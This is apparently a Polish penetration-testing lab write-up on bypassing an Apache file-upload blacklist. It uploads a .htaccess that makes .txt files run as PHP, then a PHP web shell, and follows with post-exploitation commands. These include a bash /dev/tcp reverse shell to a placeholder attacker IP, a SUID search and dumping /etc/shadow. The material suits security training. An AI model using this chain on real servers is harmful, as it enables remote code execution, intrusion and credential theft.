File Upload

Obejście zabezpieczeń komponentu file upload

Opis Aplikacji Aplikacja udostępnia formularz umożliwiający przesyłanie plików z rozszerzeniem .txt.
Zabezpieczenie: Mechanizm po stronie UI blokuje pliki z ciągiem „php” w nazwie (tst.php, tst.php.jpg). Dodatkowym elementem zabezpieczenia jest serwer HTTP Apache2, nie pozwala na upload plików z "php" w nazwie.
Zadanie: Ominięcie czarnej listy nazw plików i wymuszenie wykonania kodu PHP poprzez manipulację konfiguracją serwera Apache. W tym celu wykorzystanie podatność uploadu pliku .htaccess, która umożliwiła interpretację plików .txt jako skryptów PHP i przeprowadzenie zdalnego wykonania poleceń systemowych.
Szczegółowy opis: Wysłanie pliku shell.txt za pomocą formularza i przechwycenie żądania HTTP podczas przesyłania w Burp Suite. Modyfikacja pliku shell.txt na .htaccess oraz dodanie derektywy AddType application/x-httpd-php .txt, co wymusi interpretację plików .txt jako skryptów PHP, a następnie — również przez Burpa — przesłać pierwotny plik shell.txt z payloadem <?php system($_GET["x"]); ?>, umożliwiając zdalne wykonanie poleceń systemowych (np. ls /, cat /flag.txt) przez parametr x w przeglądarce.
Target IP: [terget_ip]



  1. Przygotowanie pliku .htaccess.
    Cel: Wymuszenie interpretacji plików .txt jako skryptów PHP przez serwer Apache.
    Działanie: Wykorzystanie mechanizmu konfiguracji Apache, przesyłając plik .htaccess zawierający odpowiednią dyrektywę MIME co spowoduje zmianę sposobu przetwarzania plików .txt na serwerze — od tej pory są one traktowane jako pliki wykonywalne PHP.
    Payload: AddType application/x-httpd-php .txt
      nano .htaccess
      AddType application/x-httpd-php .txt
    
    .txt odpowiada formatowi danych jakie przyjmuje formularz na UI SCREEN: pentest6 - scr1
    SCREEN: pentest6 - scr2
    SCREEN: pentest6 - scr3

  1. Przygotowanie złośliwego pliku shell.txt.
    Tu wystarczy utworzyc jakikolwiek plik .txt poniewaz zlosliwy kod wyślemy z poziomu Burpa
    Cel: Stworzyć złośliwy plik, który pozwoli na zdalne wykonywanie poleceń systemowych.
    Działanie: Przygotowanie pliku tekstowego shell.txt, którego zawartość stanowi prosty interpreter poleceń PHP. Skrypt odczytuje parametr x z żądania HTTP i przekazuje go do funkcji system(), co pozwala na wykonanie dowolnego polecenia w systemie operacyjnym. Dzięki wcześniej przesłanemu plikowi .htaccess, serwer Apache potraktuje ten plik .txt jako skrypt PHP i wykona jego zawartość.
    Payload: <?php system($_GET["x"]); ?>
    echo '<?php system($_GET["x"]); ?>' > shell.txt
    cat shell.txt 
    
    SCREEN: pentest6 - scr4

  1. Przesłanie pliku z rozszerzeniem .txt do aplikacji.
    Cel: Umieścić plik w aplikacji webowej
    Działanie: Wykorzystanie formularza uploadu dostępnego w aplikacji.

  1. Przechwycenie i modyfikacja żądania POST w Burp Suite
    Cel: Podmiana zawartości przesyłanego pliku
    Działanie: Aby przesłać plik .htaccess, którego nie można załadować bezpośrednio przez interfejs użytkownika, należy przechwycić żądanie uploadu pliku w Burp Suite (Proxy) i przenieść je do zakładki Repeater. Następnie należy zmodyfikować nazwę pliku, nagłówki (Content-Type) oraz dodać właściwą treść.
    filename=".htaccess"
    Content-Type: application/octet-stream
    Body: AddType application/x-httpd-php .txt
    🚨 Plik .htaccess zostaje przesłany na serwer mimo ograniczeń formularza. Modyfikuje on zachowanie serwera Apache umożliwiając dalsze wykonanie kodu poprzez manipulację typem MIME.
    SCREEN: pentest6 - scr6
    SCREEN: pentest6 - scr7

  1. Wylistowanie plików - Wyświetl katalog główny serwera (Czarna lista)
    Cel: Rozpoczęcie eksploracji systemu od najwyższego poziomu.
    Działanie: Wykonanie polecenia ls / za pomocą web shella (shell.txt), przekazując je jako parametr x w URL:

    http://[terget_ip]/shell.txt?x=ls /
    
    • shell.txt web shell, który wykonuje kod PHP z parametru x.
    • x=ls / polecenie systemowe ls /, czyli lista plików i folderów w katalogu głównym systemu Linux (/).

    🚨 Zostaje wyświetlona zawartość katalogu głównego systemu (np. bin, etc, home, var, root, tmp), co umożliwia dalszą analizę struktury plików i potencjalnych punktów dostępu.
    SCREEN: pentest6 - scr8
    SCREEN: pentest6 - scr9
    Wejście w namierzony konkretny katalog

    [http://terget_ip]/site4/shell.php?x=cat%20/flag14.4.txt
    

Post-Exploitation Web Shell – Etapy i Techniki

    Po uzyskaniu web shella (RCE) możesz działania uszeregować według celów i priorytetów ataku:


    1. Rekonesans serwera – identyfikacja środowiska:

      http://[target_ip]/shell.txt?x=whoami
      http://[target_ip]/shell.txt?x=id
      http://[target_ip]/shell.txt?x=uname+-a
      http://[target_ip]/shell.txt?x=pwd
      http://[target_ip]/shell.txt?x=ls+-al
      
    2. Przeglądanie katalogów — dostęp do danych aplikacji:

      http://[target_ip]/shell.txt?x=ls+-al+/var/www
      http://[target_ip]/shell.txt?x=ls+-al+/var/www/html
      http://[target_ip]/shell.txt?x=cat+/var/www/html/config.php
      
    3. Sprawdzenie możliwości zapisu na serwerze — utworzenie pliku przez web shell i odczyt:

      http://[target_ip]/shell.txt?x=echo+hello+>%20/var/www/html/test.txt
      http://[target_ip]/test.txt
      
    4. Reverse Shell (jeśli możliwe).

      nc -lvnp 4444
      http://target/upload/shell.txt?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/YOUR_IP/4444+0>%261'
      
    5. Eskalacja uprawnień, znalezienie flagi, dump baz danych.

       W zależności od systemu operacyjnego i uprawnień użytkownika możesz:
       •	sprawdzać sudo (sudo -l)
       •	szukać cronów, SUID-ów (find / -perm -4000 2>/dev/null)
       •	dumpować hashe haseł (/etc/passwd, /etc/shadow jeśli masz roota)
      

Wnioski końcowe:

Przeprowadzone testy wykazały poważną lukę w mechanizmie filtrowania plików przesyłanych przez użytkownika. Pomimo prób ograniczenia uploadu do określonych typów plików, możliwe było obejście zabezpieczeń poprzez przesłanie pliku.htaccess, a następnie pliku .txt zawierającego kod PHP. Pozwoliło to na wykonanie poleceń systemowych na serwerze, takich jak ls /, co potwierdza istnienie zdalnego punktu wykonania komend (RCE) na poziomie rekonesansu.

  • Ominięcie zabezpieczeń uploadu plików z „.php” w nazwie.
  • Wgranie niestandardowego .htaccess, który zmienia zachowanie serwera Apache.
  • Wykonanie polecenia systemowego i uzyskanie listy katalogów systemu plików.